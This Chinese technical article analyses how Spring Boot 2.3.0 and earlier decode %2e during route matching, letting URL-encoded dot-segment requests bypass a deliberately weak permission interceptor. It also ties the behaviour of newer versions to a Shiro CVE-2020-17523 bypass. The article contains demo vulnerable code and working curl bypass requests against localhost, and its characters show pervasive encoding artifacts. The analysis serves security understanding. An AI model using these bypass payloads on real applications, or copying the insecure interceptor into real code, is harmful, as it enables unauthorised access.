分享一個(gè)SpringBoot中關(guān)于%2e的小Trick。先說(shuō)結(jié)論，當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下， alwaysUseFullPath 為默認(rèn)值false，這會(huì)使得其獲取ServletPath，所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼，這可能導(dǎo)致身份驗(yàn)證繞過(guò)。而反過(guò)來(lái)由于高版本將 alwaysUseFullPath 自動(dòng)配置成了true從而開(kāi)啟全路徑，又可能導(dǎo)致一些安全問(wèn)題。

這里我們來(lái)通過(guò)一個(gè)例子看一下這個(gè)Trick，并分析它的原因。

首先我們先來(lái)設(shè)置SprinBoot版本

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

編寫(xiě)一個(gè)Controller

@RestController
public class httpbinController {
    @RequestMapping(value = "no-auth", method = RequestMethod.GET)
    public String noAuth() {
        return "no-auth";
    }
 
    @RequestMapping(value = "auth", method = RequestMethod.GET)
    public String auth() {
        return "auth";
    }
}

接下來(lái)配置對(duì)應(yīng)的Interceptor來(lái)實(shí)現(xiàn)對(duì)除no-auth以外的路由的攔截

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(handlerInterceptor())
                //配置攔截規(guī)則
                .addPathPatterns("/**");
    }
 
    @Bean
    public HandlerInterceptor handlerInterceptor() {
        return new PermissionInterceptor();
    }
}

@Component
public class PermissionInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String uri = request.getRequestURI();
        uri = uri.replaceAll("http://", "/");
        System.out.println("RequestURI: "+uri);
        if (uri.contains("..") || uri.contains("./") ) {
            return false;
        }
        if (uri.startsWith("/no-auth")){
            return true;
        }
        return false;
    }
}

由上面代碼可以知道它使用了getRequestURI來(lái)進(jìn)行路由判斷。通常你可以看到如 startsWith ， contains 這樣的判斷方式，顯然這是不安全的，我們繞過(guò)方式由很多比如 .. 或 ..; 等，但其實(shí)在用 startsWith 來(lái)判斷白名單時(shí)構(gòu)造都離不開(kāi)跨目錄的符號(hào) ..
那么像上述代碼這種情況又如何來(lái)繞過(guò)呢?答案就是 %2e
發(fā)起請(qǐng)求如下

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以看到我們通過(guò) %2e%2e 繞過(guò)了PermissionInterceptor的判斷，同時(shí)匹配路由成功，很顯然應(yīng)用在進(jìn)行路由匹配時(shí)對(duì) %2e 進(jìn)行了解碼。

我們?cè)賮?lái)切換SpringBoot版本再來(lái)看下

<version>2.3.1.RELEASE</version>

發(fā)起請(qǐng)求，當(dāng)然也是過(guò)了攔截，但沒(méi)有匹配路由成功，返回404

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以得出結(jié)論當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下，其在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼，這可能導(dǎo)致身份驗(yàn)證繞過(guò)。

那么又為什么會(huì)這樣？

在SpringMVC進(jìn)行路由匹配時(shí)會(huì)從DispatcherServlet開(kāi)始，然后到HandlerMapping中去獲取Handler，在這個(gè)時(shí)候就會(huì)進(jìn)行對(duì)應(yīng)path的匹配。

我們來(lái)跟進(jìn)代碼看這個(gè)關(guān)鍵的地方 org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
這里就出現(xiàn)有趣的現(xiàn)象，在2.3.0.RELEASE中 alwaysUseFullPath 為默認(rèn)值false

而在2.3.1.RELEASE中 alwaysUseFullPath 被設(shè)置成了true

這也就導(dǎo)致了不同的結(jié)果，一個(gè)走向了 getPathWithinApplication 而另一個(gè)走向了 getPathWithinServletMapping
在 getPathWithinServletMapping 中會(huì)獲取ServletPath，ServletPath會(huì)對(duì)其解碼，這個(gè)很多講Tomcat url差異的文章都提過(guò)了，就不多說(shuō)了。所以解釋了最終出現(xiàn)繞過(guò)的情況。

那么Trick的具體描述就成了當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下， alwaysUseFullPath 為默認(rèn)值false，這會(huì)使得其獲取ServletPath，所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼，這可能導(dǎo)致身份驗(yàn)證繞過(guò)。

而這和Shiro的CVE-2020-17523中的一個(gè)姿勢(shì)形成了呼應(yīng)，只要高版本SpringBoot就可以了不用非要手動(dòng)設(shè)置 alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0

感興趣的可以再看看說(shuō)不定有額外收獲

話說(shuō)回來(lái)，可是為什么在高版本中 alwaysUseFullPath 會(huì)被設(shè)置成true呢？

這就要追溯到 org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中

在spring-boot-autoconfigure-2.3.1.RELEASE中

為什么要這樣設(shè)置？我們查看git log這里給出了答案。

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

當(dāng)Servlet映射為”/”時(shí)，官方認(rèn)為這樣配置是更有效率的，因?yàn)樾枰?qǐng)求路徑的處理較少。

配置servlet.path可以通過(guò)如下，但通常不會(huì)這樣配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后，當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下， alwaysUseFullPath 為默認(rèn)值false，這會(huì)使得其獲取ServletPath，所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼，這可能導(dǎo)致身份驗(yàn)證繞過(guò)。而高版本為了提高效率對(duì) alwaysUseFullPath 自動(dòng)配置成了true從而開(kāi)啟全路徑，這又造就了Shiro的CVE-2020-17523中的一個(gè)利用姿勢(shì)。

到此這篇關(guān)于詳解SpringBoot中關(guān)于%2e的Trick的文章就介紹到這了,更多相關(guān)SpringBoot Trick內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家！